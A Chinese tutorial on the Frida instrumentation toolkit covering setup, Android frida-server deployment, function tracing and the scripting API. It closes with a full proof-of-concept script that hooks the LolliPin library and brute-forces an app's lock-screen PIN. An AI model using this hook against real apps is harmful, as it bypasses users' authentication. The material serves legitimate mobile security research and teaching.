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Frida-跨平台注入工具基础篇

0x00 功能介绍

官方主页

github

Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.

Hooking Functions
Modifying Function Arguments
Calling Functions
Sending messages from a target process
Handling runtime errors from JavaScript
Receiving messages in a target process
Blocking receives in the target process
....

类似工具:Substrate/Xposed/indroid/adbi.

0x01 Setting up your PC

python环境+ setuptools

sudo easy_install frida

可选:源码编译

$ git clone git://github.com/frida/frida.git $ cd frida $ make

0x02 Testing your installation

创建一个进程用于注入:

$ cat

新建注入脚本example.py:

import frida session = frida.attach("cat") print([x.name for x in session.enumerate_modules()])

linux环境下需要运行如下命令:

$ sudo sysctl kernel.yama.ptrace_scope=0

用于开启非子进程的ptracing.

运行frida脚本,观察:

$ python example.py

输出结果类似如下,代码环境正常安装成功:

[u'cat', …, u'ld-2.15.so']

0x03 Setting up your Android device

首先下载android版frida-server:

$ curl -O http://build.frida.re/frida/android/arm/bin/frida-server $ chmod +x frida-server

下一步部署到android设备上:

$ adb push frida-server /data/local/tmp/

0x04 Spin up Frida

设备上运行frida-server:

$ adb shell  root@android:/ # chmod 700 frida-server   $ adb shell  root@android:/ # /data/local/tmp/frida-server -t 0 (注意在root下运行)

电脑上运行adb forward tcp转发:

adb forward tcp:27042 tcp:27042 adb forward tcp:27043 tcp:27043

27042端口用于与frida-server通信,之后的每个端口对应每个注入的进程.

运行如下命令验证是否成功安装:

$ frida-ps -R

正常情况应该输出进程列表如下:

PID NAME  1590 com.facebook.katana 13194 com.facebook.katana:providers 12326 com.facebook.orca 13282 com.twitter.android …

0x05 Tracing open() calls in Chrome

设备上打开chrome浏览器然后在pc运行如下命令:

$ frida-trace -R -i open com.android.chrome  Uploading data...  open: Auto-generated handler …/linker/open.js  open: Auto-generated handler …/libc.so/open.js  Started tracing 2 functions.  Press ENTER to stop.

开始使用chrome app然后会发现open()调用输出如下:

1392 ms open() 1403 ms open() 1420 ms open()

现在可以实时编辑的上述JS代码来调用你的Android应用

0x06 Building your own tools

frida提供的几个工具frida-trace, frida-repl...绝逼非常有用,建议阅读Functions 和 Messages章节来了解Frida APIs,

首先,使用frida的API attach上需要注入的app

session = frida.get_remote_device().attach("com.mahh.secretsafe")

session 对象允许你获取信息,同时也可以操作目标进程.比如,可以调用 enumerate_modules() 方法来获取进程中加载模块的host信息.

>>> print session.enumerate_modules() [Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="libcutils.so", base_address=0x400b0000, size=36864, path="/system/lib/libcutils.so"), Module(name="liblog.so", base_address=0x400bb000, size=12288, path="/system/lib/liblog.so"), Module(name="libc.so", base_address=0x400c0000, size=53248, path="/system/lib/libc.so"), Module(name="libstdc++.so", base_address=0x4011b000, size=4096, path="/system/lib/libstdc++.so"), Module(name="libm.so", base_address=0x4011e000, size=98304, path="/system/lib/libm.so")

然后使用Javascript API,通过 session 的create_script()方法放入JavaScript代码块.JavaScript API可以用来插桩目标app的类.在这个API中有些针对android的例子,下面是一些简单的案例:

取得一个类的js封装:

Dalvik.perform(function () {     var MyClass = Dalvik.use("com.mdsec.MyClass"); });

如果类的构造方法有一个String对象的参数,应该用如下方式创建类的实例:

var MyClass = Dalvik.use("com.mdsec.MyClass"); var MyClassInstance = MyClass.$new(“MySecretString”);

只需要加上对应的参数就可以调用刚才新建实例的方法.例如,调用MyClass类的MyMethod方法:

var result = MyClassInstance.MyMethod();

如果想替换MyMethod方法的实现来return false,使用如下代码:

MyClass.MyMethod.implementation = function() {             return false; };

Android Context(上下文)用于获取对应app相关信息以及其运行环境.所以其被广泛用于app中,需要找一种方法来访问他.获取Android Context如下代码非常有效:

var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();  var context = currentApplication.getApplicationContext();

接下来需要用到上文中提到的create_script()方法用于注册这段js代码到app session中.

script = session.create_script(jscode)

为了接收从Python session中JavaScript代码返回的数据,还需要注册一个message handler.注册一个message handler先要创建方法:

def on_message(message, data): print message

然后通过调用 on() 方法注册event handler:

script.on('message', on_message)

可以通过JS方法 send() 给message handler发送消息.例如,使用如下代码讲Context对象发送给Python客户端:

Dalvik.perform(function () {     var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();     var context = currentApplication.getApplicationContext();     send(context); });

结果会返回app的context对象的地址:

{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}

现在已经掌握frida的基础知识,现在可以实战演练如何破解 LolliPin 锁屏库.我们创建一个使用 LolliPin 的app截图如下:

Frida-跨平台注入工具基础篇

PIN码生效后,可以使用插桩暴力破击.要达到这个目的首先要了解pin码验证是如何实现的.AppLockImpl类中验证方法如下:

Frida-跨平台注入工具基础篇

现在咱们忽略LolliPin的其他漏洞,就搞PIN码的暴露破解,这是客户端认证通过都会受到的分析.

可以创建一个AppLockImpl的实例,但是为了节约内存我们直接调用已有的.分析发现AppLockImpl被调用在LockManager的getAppLock()中,这个就仅仅返回了AppLock对象.而AppLock是抽象类AppLockImpl的具现.

Frida-跨平台注入工具基础篇

LockManager有一个帮助方法用于返回自己的实例.

Frida-跨平台注入工具基础篇

结合上面的分析,咱们可以通过LockManager.getInstance()得到LockManager的实例,再调用getAppLock()得到AppLock.最后就可以调用AppLock的 checkPasscode()方法了.

var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager"); var LockManagerInstance = LockManager.getInstance(); var AppLock = LockManagerInstance.getAppLock();

通过for循环调用checkPasscode()来达到暴力破解的目的:

for(var i=1230; i<1235; i++) {     var result = AppLock.checkPasscode(i+"");     send(i + ": " + result); }

此循环将尝试1230到1235的pin码(已知PIN为1234...),最后利用空字符串将pin码连接起来做个强制转换再打印出来.运行脚本效果如下:

[*] Bruteforcing PIN code [*] Testing PIN 1230: false [*] Testing PIN 1231: false [*] Testing PIN 1232: false [*] Testing PIN 1233: false [*] Testing PIN 1234: true

最后完整的frida代码块如下:

# LolliPin bruteforce proof of concept # Author: Dominic Chell - @domchell import frida,sys def print_result(message):      print "[*] Testing PIN %s" %(message) def on_message(message, data):      print_result(message['payload']) jscode = """ Dalvik.perform(function () {     var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");     var LockManagerInstance = LockManager.getInstance();     var AppLock = LockManagerInstance.getAppLock();     for(var i=1230; i<1235; i++)     {      var result = AppLock.checkPasscode(i+"");  send(i + ": " + result);     } }); """ process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe") session = process.session script = session.create_script(jscode) script.on('message', on_message) print "[*] Bruteforcing PIN code" script.load() sys.stdin.read()